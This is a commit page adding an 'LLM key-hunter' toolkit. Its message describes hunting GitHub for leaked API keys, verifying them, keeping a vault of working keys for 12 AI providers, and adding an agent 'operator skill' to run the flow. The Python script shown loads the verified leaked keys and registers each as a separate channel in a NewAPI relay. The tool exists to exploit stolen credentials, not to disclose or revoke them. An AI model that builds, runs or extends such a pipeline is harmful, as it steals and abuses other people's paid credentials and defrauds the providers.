Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Import all usable keys into NewAPI - one channel per key.
|
||||
|
||||
Channel name format: <Provider>_<last4ofkey>
|
||||
No merging/pooling - each key gets its own channel.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
# Add scripts dir to path for imports
|
||||
SCRIPTS_DIR = Path(__file__).resolve().parent.parent
|
||||
sys.path.insert(0, str(SCRIPTS_DIR))
|
||||
|
||||
from newapi_client import (
|
||||
add_channel, list_channel_names,
|
||||
TYPE_OPENAI, TYPE_ANTHROPIC,
|
||||
)
|
||||
|
||||
# ── Provider configs ────────────────────────────────────────────
|
||||
PROVIDER_CONFIGS = {
|
||||
"ZhipuAI": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://open.bigmodel.cn/api/paas/v4",
|
||||
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
|
||||
},
|
||||
"VolcanoArk": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://ark.cn-beijing.volces.com/api/v3",
|
||||
"models": (
|
||||
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
|
||||
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
|
||||
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
|
||||
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
|
||||
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
|
||||
"deepseek-v4-pro-260425,glm-5-2-260617"
|
||||
),
|
||||
},
|
||||
"MiniMax": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.minimaxi.com/v1",
|
||||
"models": "MiniMax-M2.5,MiniMax-M3,MiniMax-M2.7",
|
||||
},
|
||||
"DashScope": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://dashscope.aliyuncs.com/compatible-mode/v1",
|
||||
"models": "qwen-plus,qwen-turbo,qwen-max,qwen3.7max",
|
||||
},
|
||||
"LongCat": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.longcat.chat/openai",
|
||||
"models": "LongCat-2.0",
|
||||
},
|
||||
"SiliconFlow": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.siliconflow.cn/v1",
|
||||
"models": "Qwen/Qwen2.5-7B-Instruct,deepseek-ai/DeepSeek-V3",
|
||||
},
|
||||
"DeepSeek": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.deepseek.com/v1",
|
||||
"models": "deepseek-chat,deepseek-reasoner",
|
||||
},
|
||||
}
|
||||
|
||||
USABLE_FILE = Path(__file__).parent / "llm-key-hunter" / "results" / "deep_verify" / "usable.txt"
|
||||
|
||||
|
||||
def load_usable_keys():
|
||||
"""Load usable keys from file. Returns list of (provider, key, url, desc)."""
|
||||
keys = []
|
||||
with open(USABLE_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 2:
|
||||
provider = parts[0]
|
||||
key = parts[1]
|
||||
url = parts[2] if len(parts) > 2 else ""
|
||||
desc = parts[3] if len(parts) > 3 else ""
|
||||
keys.append((provider, key, url, desc))
|
||||
return keys
|
||||
|
||||
|
||||
def build_channel(provider, key):
|
||||
"""Build a channel dict for a single key."""
|
||||
cfg = PROVIDER_CONFIGS.get(provider)
|
||||
if not cfg:
|
||||
return None
|
||||
|
||||
last4 = key[-4:]
|
||||
name = f"{provider}_{last4}"
|
||||
|
||||
return {
|
||||
"type": cfg["type"],
|
||||
"name": name,
|
||||
"key": key,
|
||||
"base_url": cfg["base_url"],
|
||||
"models": cfg["models"],
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def import_single_channel(provider, key):
|
||||
"""Import a single key as a channel. Returns (name, success, message)."""
|
||||
channel = build_channel(provider, key)
|
||||
if not channel:
|
||||
return (channel["name"] if channel else "?", False, f"Unknown provider: {provider}")
|
||||
|
||||
name = channel["name"]
|
||||
try:
|
||||
success, message = add_channel(channel, mode="single")
|
||||
return (name, success, message)
|
||||
except Exception as e:
|
||||
return (name, False, str(e))
|
||||
|
||||
|
||||
def main():
|
||||
keys = load_usable_keys()
|
||||
print(f"Loaded {len(keys)} usable keys")
|
||||
|
||||
# Check existing channel names for dedup
|
||||
try:
|
||||
existing = list_channel_names()
|
||||
print(f"Existing channels: {len(existing)}")
|
||||
except Exception as e:
|
||||
print(f"Warning: Could not list existing channels: {e}")
|
||||
existing = set()
|
||||
|
||||
# Filter out providers we don't have configs for
|
||||
to_import = []
|
||||
skipped = []
|
||||
for provider, key, url, desc in keys:
|
||||
cfg = PROVIDER_CONFIGS.get(provider)
|
||||
if not cfg:
|
||||
skipped.append((provider, key))
|
||||
continue
|
||||
last4 = key[-4:]
|
||||
name = f"{provider}_{last4}"
|
||||
if name in existing:
|
||||
skipped.append((provider, key))
|
||||
continue
|
||||
to_import.append((provider, key))
|
||||
|
||||
if skipped:
|
||||
print(f"Skipping {len(skipped)} keys (unknown provider or duplicate name)")
|
||||
print(f"To import: {len(to_import)} channels")
|
||||
|
||||
# Import with concurrency (but not too high - NewAPI might rate limit)
|
||||
success_count = 0
|
||||
fail_count = 0
|
||||
start = time.time()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=8) as pool:
|
||||
futures = {
|
||||
pool.submit(import_single_channel, provider, key): (provider, key)
|
||||
for provider, key in to_import
|
||||
}
|
||||
|
||||
for i, future in enumerate(as_completed(futures), 1):
|
||||
provider, key = futures[future]
|
||||
name, success, message = future.result()
|
||||
|
||||
if success:
|
||||
success_count += 1
|
||||
print(f" [{i}/{len(to_import)}] ✓ {name}")
|
||||
else:
|
||||
fail_count += 1
|
||||
print(f" [{i}/{len(to_import)}] ✗ {name}: {message}")
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\n=== Import complete ({elapsed:.1f}s) ===")
|
||||
print(f" Success: {success_count}")
|
||||
print(f" Failed: {fail_count}")
|
||||
print(f" Skipped: {len(skipped)}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user